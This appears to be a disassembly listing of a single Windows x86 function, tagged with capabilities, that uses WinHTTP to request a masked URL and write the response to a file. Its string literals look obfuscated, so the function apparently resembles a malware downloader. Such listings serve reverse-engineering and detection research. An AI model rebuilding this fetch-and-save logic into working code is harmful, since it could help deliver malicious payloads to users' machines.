Function at 0x4497e0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57e408
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x11b0
push ebx
call fcn.00550660
xor eax, eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x18], eax
xorps xmm0, xmm0
push esi
movups xmmword [ebp - 0xa8], xmm0
push edi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
mov dword [ebp - 4], eax
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
mov edx, ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xf8]
call fcn.0042f8f0
mov byte [ebp - 4], 2
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x44a244
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x54], eax
push str._https_:____:www.__________.___
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 3
call fcn.0042f410
test al, al
jne 0x4498b7
push 0x23
push str._https_:____:www.__________.___
lea ecx, [ebp - 0x54]
call fcn.0042f740
push ecx
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x10c]
mov esi, dword [ebp - 0x54]
push esi
call fcn.0044f880
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
mov byte [ebp - 0xdc], 0
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
mov byte [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
mov byte [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0
mov byte [ebp - 0xac], 0
mov byte [ebp - 4], 6
lea edx, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 8
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0xe8]
cmovae edx, dword [ebp - 0xf8]
lea eax, [edx + eax*2]
lea edx, [ebp - 0xf8]
cmovae edx, dword [ebp - 0xf8]
sub esp, 8
push eax
push edx
lea edx, [ebp - 0x10c]
call fcn.00452bf0
mov edi, dword [ebp - 0xd8]
add esp, 0x10
test al, al
je 0x449a7f
mov ecx, dword [ebp - 0xd4]
mov eax, 0x2aaaaaab
sub ecx, edi
imul ecx
lea ecx, [ebp - 0xb4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x34], eax
cmp eax, 2
jbe 0x4499ab
lea ecx, [edi + 0x18]
cmp byte [ecx + 8], 0
je 0x4499bd
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov ecx, edx
mov dword [ebp - 0x28], edx
jmp 0x4499c3
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x40], 0
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x50], xmm0
cmp eax, edx
jne 0x4499f0
xor ecx, ecx
mov dword [ebp - 0x3c], 7
xor eax, eax
mov dword [ebp - 0x40], ecx
mov word [ebp - 0x50], ax
jmp 0x449a01
sub ecx, eax
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.0042d7e0
mov ecx, dword [ebp - 0x40]
mov byte [ebp - 4], 7
mov eax, 5
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x449a82
cmp dword [ebp - 0x34], 3
lea ecx, [ebp - 0xb4]
jbe 0x449a20
lea ecx, [edi + 0x24]
cmp byte [ecx + 8], 0
je 0x449a32
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov ecx, edx
mov dword [ebp - 0x28], edx
jmp 0x449a38
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x64], 0
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
movups xmmword [ebp - 0x74], xmm0
cmp eax, edx
jne 0x449a60
xor eax, eax
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
jmp 0x449a6e
sub ecx, eax
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.0042d7e0
cmp dword [ebp - 0x64], 0
mov eax, 0x87
je 0x449a82
mov byte [ebp - 0x19], 1
jmp 0x449a86
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x19], 0
test al, 2
je 0x449a9b
and eax, 0xfffffffd
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x20], eax
call fcn.0042ed00
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], 6
test al, 1
je 0x449ae0
mov eax, dword [ebp - 0x3c]
cmp eax, 8
jb 0x449ae0
mov edx, dword [ebp - 0x50]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x449ad6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a2ae
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp byte [ebp - 0x19], 0
je 0x44a1d8
mov ecx, dword [ebp - 0xd4]
mov eax, 0x2aaaaaab
sub ecx, edi
imul ecx
lea ecx, [ebp - 0xb4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x18], eax
cmp eax, 2
jbe 0x449b13
lea ecx, [edi + 0x18]
lea eax, [ebp - 0x74]
push eax
call fcn.0044f7e0
lea ecx, [ebp - 0xa8]
call fcn.0042ed00
movups xmm0, xmmword [ebp - 0x74]
xor eax, eax
lea ecx, [ebp - 0x74]
mov word [ebp - 0x74], ax
movups xmmword [ebp - 0xa8], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [ebp - 0x98], xmm0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
call fcn.0042ed00
cmp dword [ebp - 0x18], 3
lea ecx, [ebp - 0xb4]
jbe 0x449b6a
lea ecx, [edi + 0x24]
lea eax, [ebp - 0x74]
push eax
call fcn.0044f7e0
lea ecx, [ebp - 0x8c]
call fcn.0042ed00
movups xmm0, xmmword [ebp - 0x74]
xor eax, eax
lea ecx, [ebp - 0x74]
mov word [ebp - 0x74], ax
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [ebp - 0x64]
movq qword [ebp - 0x7c], xmm0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
call fcn.0042ed00
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x44a24e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push str.czNyXMSRaQHHkn5ZyIRrQh1C
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xb
call fcn.0042f410
test al, al
jne 0x449bef
push 0x18
push str.czNyXMSRaQHHkn5ZyIRrQh1C
lea ecx, [ebp - 0x34]
call fcn.0042f740
push 0
push 0
push 0
push 0
push ecx
mov byte [ebp - 4], 0xc
mov edi, esp
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x58]
mov dword [edi], eax
call fcn.00445630
add esp, 4
push dword [eax]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edx, dword [ebp - 0x58]
mov edi, eax
mov dword [ebp - 0x20], edi
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x449c49
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x44a258
push 0x2710
push 0x2710
push 0x2710
push 0x2710
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
test eax, eax
jne 0x449cb0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push str.ckpFFTAYjEKCkdaPzFsYGyQsrOFIsuJCUeYPzcp
lea ecx, [ebp - 0x18]
call fcn.0042f850
mov byte [ebp - 4], 0xf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x18]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x28]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x10
jmp 0x44a28c
cmp dword [ebp - 0x94], 8
lea eax, [ebp - 0xa8]
push 0
cmovae eax, dword [ebp - 0xa8]
push 0x50
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x449d17
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push str.M1FtldFswBAxBfJNE0XWXD8DIEVAlFBBtdicQsVOWj0Y0BlY
lea ecx, [ebp - 0x18]
call fcn.0042f850
mov byte [ebp - 4], 0x11
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x18]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x28]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x12
jmp 0x44a28c
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x44a2a4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.RFVMBWQMQFGA
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x13
call fcn.0042f410
test al, al
jne 0x449d57
push 0xe
push str.RFVMBWQMQFGA
lea ecx, [ebp - 0x18]
call fcn.0042f740
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
push ecx
cmovae eax, dword [ebp - 0x8c]
mov edi, esp
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [edi], eax
call fcn.00445630
add esp, 4
push 0
push 0
push 0
push 0
push dword [ebp - 0x24]
push dword [eax]
push dword [ebp - 0x30]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 0x5c]
mov edi, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x449dc8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
jne 0x449e15
push dword [ebp - 0x30]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call esi
push dword [ebp - 0x20]
call esi
push str.dHhtfchwZVAxYYcHU0AEEQkYOFwcM2TREGIHQwGVHRcDpUhIZ1BB4BJCgg
lea ecx, [ebp - 0x5c]
call fcn.0042f850
mov byte [ebp - 4], 0x15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x5c]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x28]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x16
jmp 0x44a28c
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x44a18c
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x44a18c
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x1c0]
sub esp, 8
push 0x20
push dword [eax]
call fcn.00433d30
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x170], 0
jne 0x449eb0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x20]
call esi
push str.OENXzSl4q4Oy8YHICUvVWTcNJVZjjMStR0LyI4ZXQ
lea ecx, [ebp - 0x38]
call fcn.0042f850
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x1a
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x14]
call fcn.00445630
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1b
call fcn.00446920
jmp 0x44a296
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x449f1f
cmp dword [ebp - 0x24], 0
je 0x449f58
lea eax, [ebp - 0x90]
push eax
push 0x1000
lea eax, [ebp - 0x11c0]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [ebp - 0x90]
test eax, eax
je 0x449f58
push 0
push eax
lea eax, [ebp - 0x11c0]
push eax
lea ecx, [ebp - 0x1c0]
call fcn.00436c00
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x449ec6
push str.bmxMTTR8ZdKT8XWTCgspGg1sYIwEYIbCwYTDSUhGDw4gFKA
lea ecx, [ebp - 0x14]
call fcn.0042f850
mov byte [ebp - 4], 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x14]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x38]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x1d
jmp 0x44a28c
lea ecx, [ebp - 0x1bc]
call fcn.004357d0
test eax, eax
jne 0x449f90
mov eax, dword [ebp - 0x1c0]
lea ecx, [ebp - 0x1c0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.0042a6f0
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
push dword [ebp - 0x30]
call edi
push dword [ebp - 0x20]
call edi
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x1c4], eax
lea ecx, [ebp - 0x1bc]
call fcn.00433c90
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c4], eax
lea eax, [ebp - 0x158]
mov byte [ebp - 4], 0x1e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0053974f
mov edx, dword [ebp - 0x28]
or edi, 0xffffffff
add esp, 4
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x44a033
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
mov edi, dword [ebp - 0x14]
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x44a04a
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, dword [ebp - 0xd8]
test edi, edi
je 0x44a09a
mov ecx, dword [ebp - 0xd0]
mov eax, 0x2aaaaaab
sub ecx, edi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, edi
shl ecx, 2
cmp ecx, 0x1000
jb 0x44a090
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a2ae
push ecx
push edi
call fcn.0054fb04
add esp, 8
lea ecx, [ebp - 0x10c]
call fcn.0044fd60
mov ecx, dword [ebp - 0xfc]
test ecx, ecx
je 0x44a0c2
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x44a0c2
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x44a0da
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0xf8]
call fcn.0042ed00
mov ecx, dword [ebp - 0x78]
cmp ecx, 8
jb 0x44a122
mov edx, dword [ebp - 0x8c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44a118
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a2ae
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov ecx, dword [ebp - 0x94]
xor eax, eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 7
mov word [ebp - 0x8c], ax
cmp ecx, 8
jb 0x44a179
mov edx, dword [ebp - 0xa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44a16f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a2ae
push ecx
push edx
call fcn.0054fb04
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push edi
call esi
push dword [ebp - 0x30]
call esi
push dword [ebp - 0x20]
call esi
push str.NWNBOb10C4LwtZWBmEd5UBI0nCkYX6YQBH5QzMKWRhMuMAUYG3YQlUJCi0aWRwY
lea ecx, [ebp - 0x14]
call fcn.0042f850
mov byte [ebp - 4], 0x17
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x14]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x38]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x18
jmp 0x44a28c
lea ecx, [ebp - 0x18]
call fcn.004203d0
push str.MENyxWmUR1PnpWhLAA3BUTdScM0NjAHDVEYYwQ7TXCoWiegpj3Vy1D
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 8
call fcn.0042f850
mov byte [ebp - 4], 9
lea eax, [ebp - 0x28]
mov esi, dword [ebp - 0x14]
push ecx
mov ecx, esp
push eax
mov esi, dword [esi]
call fcn.0042eb70
lea ecx, [ebp - 0x14]
call fcn.00445630
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.0042ec40
push esi
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00421ac0
add esp, 0xc
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x14]
call fcn.0042e230
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x44]
call fcn.00446920
jmp 0x44a296
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push str.d0NFCZB8ivKwAbkJmUNkGSoxlDRYvSLB4W1NywLjGWMjGBR4vUMBYS
lea ecx, [ebp - 0x58]
call fcn.0042f850
mov byte [ebp - 4], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ecx
mov esi, eax
mov ecx, esp
lea eax, [ebp - 0x58]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x28]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0xe
push esi
push eax
lea ecx, [ebp - 0x44]
call fcn.00446950
push 0x5c1a6c
lea eax, [ebp - 0x44]
push eax
call fcn.00551a0a
push 0x80004005
call fcn.0042f720
call fcn.005549df
int3